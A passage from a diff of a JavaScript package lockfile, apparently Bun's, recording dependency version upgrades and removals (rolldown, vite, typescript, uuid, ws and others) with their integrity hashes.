"@rolldown/binding-win32-arm64-msvc": "1.1.3", "@rolldown/binding-win32-x64-msvc": "1.1.3" }, "bin": { "rolldown": "./bin/cli.mjs" } }, "sha512-1F1eEtUBtFvcGm1HQ9TiUIUHPQG7mSAODrhIzjxoUEFuo8OcbrGLiVLkevNgj84TE4lnHvnumwFjhJO5Eu135g=="], - - "rollup": ["rollup@4.62.2", "", { "dependencies": { "@types/estree": "1.0.9" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.62.2", "@rollup/rollup-android-arm64": "4.62.2", "@rollup/rollup-darwin-arm64": "4.62.2", "@rollup/rollup-darwin-x64": "4.62.2", "@rollup/rollup-freebsd-arm64": "4.62.2", "@rollup/rollup-freebsd-x64": "4.62.2", "@rollup/rollup-linux-arm-gnueabihf": "4.62.2", "@rollup/rollup-linux-arm-musleabihf": "4.62.2", "@rollup/rollup-linux-arm64-gnu": "4.62.2", "@rollup/rollup-linux-arm64-musl": "4.62.2", "@rollup/rollup-linux-loong64-gnu": "4.62.2", "@rollup/rollup-linux-loong64-musl": "4.62.2", "@rollup/rollup-linux-ppc64-gnu": "4.62.2", "@rollup/rollup-linux-ppc64-musl": "4.62.2", "@rollup/rollup-linux-riscv64-gnu": "4.62.2", "@rollup/rollup-linux-riscv64-musl": "4.62.2", "@rollup/rollup-linux-s390x-gnu": "4.62.2", "@rollup/rollup-linux-x64-gnu": "4.62.2", "@rollup/rollup-linux-x64-musl": "4.62.2", "@rollup/rollup-openbsd-x64": "4.62.2", "@rollup/rollup-openharmony-arm64": "4.62.2", "@rollup/rollup-win32-arm64-msvc": "4.62.2", "@rollup/rollup-win32-ia32-msvc": "4.62.2", "@rollup/rollup-win32-x64-gnu": "4.62.2", "@rollup/rollup-win32-x64-msvc": "4.62.2", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-RFnrW4lhXA3s3eqHDZvN654g8OTjzRfqpIRJYczCGB6HzphckVAi/Qh4tbPUbRuDi7s1Llv8g/NspLkttY3gTA=="], + "rolldown": ["rolldown@1.2.6", "", { "dependencies": { "@oxc-project/types": "=0.147.0", "@rolldown/pluginutils": "^1.0.0" }, "optionalDependencies": { "@rolldown/binding-android-arm-eabi": "1.2.6", "@rolldown/binding-android-arm64": "1.2.6", "@rolldown/binding-darwin-arm64": "1.2.6", "@rolldown/binding-darwin-x64": "1.2.6", "@rolldown/binding-freebsd-x64": "1.2.6", "@rolldown/binding-linux-arm-gnueabihf": "1.2.6", "@rolldown/binding-linux-arm64-gnu": "1.2.6", "@rolldown/binding-linux-arm64-musl": "1.2.6", "@rolldown/binding-linux-ppc64-gnu": "1.2.6", "@rolldown/binding-linux-s390x-gnu": "1.2.6", "@rolldown/binding-linux-x64-gnu": "1.2.6", "@rolldown/binding-linux-x64-musl": "1.2.6", "@rolldown/binding-openharmony-arm64": "1.2.6", "@rolldown/binding-win32-arm64-msvc": "1.2.6", "@rolldown/binding-win32-x64-msvc": "1.2.6" }, "bin": { "rolldown": "./bin/cli.mjs" } }, "sha512-vMM4q3aixf46GiF1Kok8jDPFsEpXgFWGjUHXNkNHNm+Y2adXAG2dbX91jkti3i0ZRsOlcmbuzAz1poObSHCmUA=="], "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], @@ -1195,29 +1172,27 @@ "semver": ["semver@7.8.5", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA=="], - "seroval": ["seroval@1.3.2", "", {}, "sha512-RbcPH1n5cfwKrru7v7+zrZvjLurgHhGyso3HTyGtRivGWgYjbOmGuivCQaORNELjNONoK35nj28EoWul9sb1zQ=="], + "seroval": ["seroval@1.5.6", "", {}, "sha512-rVQVWjjSvlINzaQPZH5JFqsqEsIWdTxY3iJZCnTL/5gQbXIRooVZKI60tVCkOVfzcRPejboxO2t0P89dg5mQaA=="], - "seroval-plugins": ["seroval-plugins@1.3.3", "", { "peerDependencies": { "seroval": "^1.0" } }, "sha512-16OL3NnUBw8JG1jBLUoZJsLnQq0n5Ua6aHalhJK4fMQkz1lqR7Osz1sA30trBtd9VUDc2NgkuRCn8+/pBwqZ+w=="], + "seroval-plugins": ["seroval-plugins@1.5.6", "", { "peerDependencies": { "seroval": "^1.0" } }, "sha512-HXuLAX2pu/UByPpaeo/TaMfvMIi+1QqIoPJYCcAtU8QkVNwgR6MPlGuCQTErV1JwraaMbYaWVIBX7mppzGLATQ=="], "serve": ["serve@14.2.6", "", { "dependencies": { "@zeit/schemas": "2.36.0", "ajv": "8.18.0", "arg": "5.0.2", "boxen": "7.0.0", "chalk": "5.0.1", "chalk-template": "0.4.0", "clipboardy": "3.0.0", "compression": "1.8.1", "is-port-reachable": "4.0.0", "serve-handler": "6.1.7", "update-check": "1.5.4" }, "bin": { "serve": "build/main.js" } }, "sha512-QEjUSA+sD4Rotm1znR8s50YqA3kYpRGPmtd5GlFxbaL9n/FdUNbqMhxClqdditSk0LlZyA/dhud6XNRTOC9x2Q=="], "serve-handler": ["serve-handler@6.1.7", "", { "dependencies": { "bytes": "3.0.0", "content-disposition": "0.5.2", "mime-types": "2.1.18", "minimatch": "3.1.5", "path-is-inside": "1.0.2", "path-to-regexp": "3.3.0", "range-parser": "1.2.0" } }, "sha512-CinAq1xWb0vR3twAv9evEU8cNWkXCb9kd5ePAHUKJBkOsUpR1wt/CvGdeca7vqumL1U5cSaeVQ6zZMxiJ3yWsg=="], - "set-cookie-parser": ["set-cookie-parser@2.7.2", "", {}, "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw=="], - "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="], "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], - "shell-quote": ["shell-quote@1.8.3", "", {}, "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw=="], + "shell-quote": ["shell-quote@1.10.0", "", {}, "sha512-w1aiOKwKuRgtwAReIIj89puqg+I7GvX4IbLrvmhXbzQsj1+Zwi4VO3+fa6ZF91TWSjIxoEkKnMeHcLEODK5ZXA=="], - "shiki": ["shiki@4.3.0", "", { "dependencies": { "@shikijs/core": "4.3.0", "@shikijs/engine-javascript": "4.3.0", "@shikijs/engine-oniguruma": "4.3.0", "@shikijs/langs": "4.3.0", "@shikijs/themes": "4.3.0", "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-NKKjWzR6LIGL3sXBrWDw9sDS9cxx42/DkysaNqJEeOWE8Kix5gpak0bc00OfDVEO4oyXSyz8+aRaqKoBD1yo7A=="], + "shiki": ["shiki@4.4.3", "", { "dependencies": { "@shikijs/core": "4.4.3", "@shikijs/engine-javascript": "4.4.3", "@shikijs/engine-oniguruma": "4.4.3", "@shikijs/langs": "4.4.3", "@shikijs/themes": "4.4.3", "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5" } }, "sha512-Mb/GvXPHBAXdgGIcnfU5L3ldpn1XcxrGkPHwqgRx17/I2XRfqlFKk2vGkHWINn1kdXvzJZeuO3is6I9KLPFm0g=="], "signal-exit": ["signal-exit@3.0.7", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="], - "solid-js": ["solid-js@1.9.10", "", { "dependencies": { "csstype": "^3.1.0", "seroval": "~1.3.0", "seroval-plugins": "~1.3.0" } }, "sha512-Coz956cos/EPDlhs6+jsdTxKuJDPT7B5SVIWgABwROyxjY7Xbr8wkzD68Et+NxnV7DLJ3nJdAC2r9InuV/4Jew=="], + "solid-js": ["solid-js@1.9.15", "", { "dependencies": { "csstype": "^3.1.0", "seroval": "~1.5.4", "seroval-plugins": "~1.5.4" } }, "sha512-EeiY2xfpZJqPLjXspVEKjAII4yv8NyG//NxZ3IpOFHdUNnnTyL0uJOeS9LWGvA7cFCz5y94cjFwYlmw5Luncsg=="], - "sonner": ["sonner@2.0.7", "", { "peerDependencies": { "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-W6ZN4p58k8aDKA4XPcx2hpIQXBRAgyiWVkYhT7CvK6D3iAu7xjvVyhQHg2/iaKJZ1XVJ4r7XuwGL+WGEK37i9w=="], + "sonner": ["sonner@2.0.8", "", { "peerDependencies": { "@types/react": "^18.0.0 || ^19.0.0", "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-UM/ByIoFra8yzV75n1o0Puu0bw5U/9UNnDacrJNspekBewIfsQ3D6ez1nvlWpt7aTsO6rujQtifBpycwIivqlg=="], "source-map": ["source-map@0.7.6", "", {}, "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ=="], @@ -1229,7 +1204,7 @@ "stringify-entities": ["stringify-entities@4.0.4", "", { "dependencies": { "character-entities-html4": "^2.0.0", "character-entities-legacy": "^3.0.0" } }, "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg=="], - "strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="], + "strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], "strip-final-newline": ["strip-final-newline@2.0.0", "", {}, "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA=="], @@ -1243,13 +1218,13 @@ "tailwind-merge": ["tailwind-merge@3.6.0", "", {}, "sha512-uxL7qAVQriqRQPAyK3pj66VqskWqoZ37PW94jwOTwNfq/z9oyu1V+eqrZqtR2+fCiXdYOZe/Modt8GtvqNzu+w=="], - "tailwindcss": ["tailwindcss@4.3.1", "", {}, "sha512-hk+TB1m+K8CYNrP6rjQaq/Y+4Zylwpa87mLYBKCunwnnQ9p+fHb7kmSfGqyEJoxF/O6CDyABWVFEafNSYKll+Q=="], + "tailwindcss": ["tailwindcss@4.3.3", "", {}, "sha512-gOhV3P7ufE62QDGg1zVaTgCR+EtPv92k2nIhVcVKcLmxT1sUBsQGhnZj175j+MqRt4zLF7ic+sCYjfhxMxj7YQ=="], "tapable": ["tapable@2.3.3", "", {}, "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A=="], "tiny-case": ["tiny-case@1.0.3", "", {}, "sha512-Eet/eeMhkO6TX8mnUteS9zgPbUMQa4I6Kkp5ORiBD5476/m+PIRiumP5tmh5ioJpH7k51Kehawy2UDfsnxxY8Q=="], - "tinyexec": ["tinyexec@1.2.4", "", {}, "sha512-SHf/r48b7vOrjve9PxJo3MN5v5yuyjHvdUcrQffT3WXMUfnGmHDVbC4k3sHJaJTgZCwpUplIaAo5ANtMyp3YHg=="], + "tinyexec": ["tinyexec@1.3.0", "", {}, "sha512-QKAl9m8gWWGHV8jZcPeym6j+XULi6tOf1mT83WYJ4Lk2ytW/uwAWkrP0uFsdoYMdueVJ0qs26wZ+23xeB4ibNQ=="], "tinyglobby": ["tinyglobby@0.2.17", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g=="], @@ -1271,7 +1246,7 @@ "type-fest": ["type-fest@2.19.0", "", {}, "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA=="], - "typescript": ["typescript@6.0.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="], + "typescript": ["typescript@7.0.2", "", { "optionalDependencies": { "@typescript/typescript-aix-ppc64": "7.0.2", "@typescript/typescript-darwin-arm64": "7.0.2", "@typescript/typescript-darwin-x64": "7.0.2", "@typescript/typescript-freebsd-arm64": "7.0.2", "@typescript/typescript-freebsd-x64": "7.0.2", "@typescript/typescript-linux-arm": "7.0.2", "@typescript/typescript-linux-arm64": "7.0.2", "@typescript/typescript-linux-loong64": "7.0.2", "@typescript/typescript-linux-mips64el": "7.0.2", "@typescript/typescript-linux-ppc64": "7.0.2", "@typescript/typescript-linux-riscv64": "7.0.2", "@typescript/typescript-linux-s390x": "7.0.2", "@typescript/typescript-linux-x64": "7.0.2", "@typescript/typescript-netbsd-arm64": "7.0.2", "@typescript/typescript-netbsd-x64": "7.0.2", "@typescript/typescript-openbsd-arm64": "7.0.2", "@typescript/typescript-openbsd-x64": "7.0.2", "@typescript/typescript-sunos-x64": "7.0.2", "@typescript/typescript-win32-arm64": "7.0.2", "@typescript/typescript-win32-x64": "7.0.2" }, "bin": { "tsc": "bin/tsc" } }, "sha512-8FYau96o3NKOhbjKi/qNvG/W5jhzxkbdm5sj9AbZ/5T5sWqn3hJgLfGx27sRKZWTvyzCP8dLRBTf5tBTSRVUNA=="], "undici-types": ["undici-types@8.3.0", "", {}, "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ=="], @@ -1291,7 +1266,7 @@ "unist-util-visit-parents": ["unist-util-visit-parents@6.0.2", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0" } }, "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ=="], - "update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "update-browserslist-db": ["update-browserslist-db@1.3.2", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-UQ+MSxlhRm1bzjhU+DcuXfjFO1FzNtqhK5+9Yvlp90ItDLk5vT932A0rFu619nf7RVS+Y/VeaUW1jaRDqZ8VJw=="], "update-check": ["update-check@1.5.4", "", { "dependencies": { "registry-auth-token": "3.3.2", "registry-url": "3.1.0" } }, "sha512-5YHsflzHP4t1G+8WGPlvKbJEbAJGCgw+Em+dGR1KmBUbr1J36SJBqlHLjR7oob7sco5hWHGQVcr9B2poIVDDTQ=="], @@ -1301,9 +1276,9 @@ "use-sync-external-store": ["use-sync-external-store@1.6.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w=="], - "uuid": ["uuid@11.1.0", "", { "bin": { "uuid": "dist/esm/bin/uuid" } }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="], + "uuid": ["uuid@14.0.2", "", { "bin": { "uuid": "dist-node/bin/uuid" } }, "sha512-xZe/16rV4aa+HGSOCiY2YeLT1OybRLrrkL/Rqaq7p7GMVXjFh+6wN4oMYgjFmnSnhY8t6Xpdl2l9qmnHYuMHwQ=="], - "valibot": ["valibot@1.4.1", "", { "peerDependencies": { "typescript": ">=5" }, "optionalPeers": ["typescript"] }, "sha512-klCmFTz2jeDluy9RwX+F884TCiogtdBJ/YaxSx1EOBYXa3NXNWj8kR1jjN8rzluwojJVWWaHJ4r1U5LfICnM3g=="], + "valibot": ["valibot@1.4.2", "", { "peerDependencies": { "typescript": ">=5" }, "optionalPeers": ["typescript"] }, "sha512-gjdCvJ6d3RyHAneqxMYMW9QMCwYMb3jpOO0IyHZV1bnRHFBHrX3VkIILt5XYR0WhwHiH7Mty8ovuPZ/O3gamrg=="], "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], @@ -1313,16 +1288,14 @@ "vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="], - "vite": ["vite@8.1.0", "", { "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.15", "rolldown": "~1.1.2", "tinyglobby": "^0.2.17" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.3.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-BuJcQK/56NQTWDGn4ABea3q4SSBdNPWwNZKTkkUpcMPnLoquSYH8llRtSUIgoL1KSCpHt5eghLShn50mH36y7Q=="], + "vite": ["vite@8.2.2", "", { "dependencies": { "lightningcss": "^1.33.0", "picomatch": "^4.0.5", "postcss": "^8.5.26", "rolldown": "~1.2.4", "tinyglobby": "^0.2.17" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.4.0 || ^0.5.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-cFKLV/PRgAUlIRm5WjMjJ86jrftzpqcgH+Us+DS8mI3CDNiH30Whrz8uHL3+MOLPAgqbMBAqWdAHAphOAM+z/Q=="], - "vite-node": ["vite-node@3.2.4", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="], + "vite-node": ["vite-node@6.0.0", "", { "dependencies": { "cac": "^7.0.0", "es-module-lexer": "^2.0.0", "obug": "^2.1.1", "pathe": "^2.0.3", "vite": "^8.0.0" }, "bin": { "vite-node": "dist/cli.mjs" } }, "sha512-oj4PVrT+pDh6GYf5wfUXkcZyekYS8kKPfLPXVl8qe324Ec6l4K2DUKNadRbZ3LQl0qGcDz+PyOo7ZAh00Y+JjQ=="], - "vite-plugin-devtools-json": ["vite-plugin-devtools-json@1.0.0", "", { "dependencies": { "uuid": "^11.1.0" }, "peerDependencies": { "vite": "^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-MobvwqX76Vqt/O4AbnNMNWoXWGrKUqZbphCUle/J2KXH82yKQiunOeKnz/nqEPosPsoWWPP9FtNuPBSYpiiwkw=="], + "vite-plugin-devtools-json": ["vite-plugin-devtools-json@1.1.0", "", { "dependencies": { "uuid": "^14.0.0" }, "peerDependencies": { "vite": "^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-Fy9nMgMudGzDtUh1tGL7v0WAH0gsnZcZu2LFr/+1YxvYaJnxgbqRqv4jLU2tn5L9oqSaETHVCdDo9f8mSCQEZQ=="], "vite-tsconfig-paths": ["vite-tsconfig-paths@6.1.1", "", { "dependencies": { "debug": "^4.1.1", "globrex": "^0.1.2", "tsconfck": "^3.0.3" }, "peerDependencies": { "vite": "*" } }, "sha512-2cihq7zliibCCZ8P9cKJrQBkfgdvcFkOOc3Y02o3GWUDLgqjWsZudaoiuOwO/gzTzy17cS5F7ZPo4bsnS4DGkg=="], - "void-elements": ["void-elements@3.1.0", "", {}, "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="], - "warning": ["warning@3.0.0", "", { "dependencies": { "loose-envify": "^1.0.0" } }, "sha512-jMBt6pUrKn5I+OGgtQ4YZLdhIeJmObddh6CsibPxyQ5yPZm1XExSyzC1LCNX7BzhxWgiHmizBWJTHJIjMjTQYQ=="], "web-namespaces": ["web-namespaces@2.0.1", "", {}, "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ=="], @@ -1333,233 +1306,63 @@ "wrap-ansi": ["wrap-ansi@8.1.0", "", { "dependencies": { "ansi-styles": "^6.1.0", "string-width": "^5.0.1", "strip-ansi": "^7.0.1" } }, "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ=="], - "ws": ["ws@8.18.3", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg=="], + "ws": ["ws@8.21.3", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-201TZ/kPWxoPr/OKWjquZR1SWKXcvxdH+e1xrx89b3YbmzLMFCLfnaG1HFIgWzJOEWZ7MvpK++odZufgYR50Rw=="], "yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="], - "yup": ["yup@1.7.1", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="], - - "zod": ["zod@4.4.3", "", {}, "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ=="], - - "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], - - "@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "@babel/generator/jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="], - - "@babel/helper-compilation-targets/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "@babel/helper-create-class-features-plugin/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "@floating-ui/core/@floating-ui/utils": ["@floating-ui/utils@0.2.10", "", {}, "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ=="], - - "@floating-ui/dom/@floating-ui/utils": ["@floating-ui/utils@0.2.10", "", {}, "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ=="], - - "@floating-ui/react-dom/@floating-ui/dom": ["@floating-ui/dom@1.7.6", "", { "dependencies": { "@floating-ui/core": "^1.7.5", "@floating-ui/utils": "^0.2.11" } }, "sha512-9gZSAI5XM36880PPMm//9dfiEngYoC6Am2izES1FF406YFsjvyBMmeJ2g4SAju3xWwtuynNRFL2s9hgxpLI5SQ=="], - - "@mdx-js/mdx/@types/mdx": ["@types/mdx@2.0.13", "", {}, "sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw=="], - - "@mdx-js/mdx/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], - - "@radix-ui/react-accordion/@radix-ui/react-collapsible": ["@radix-ui/react-collapsible@1.1.12", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA=="], - - "@radix-ui/react-accordion/@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw=="], - - 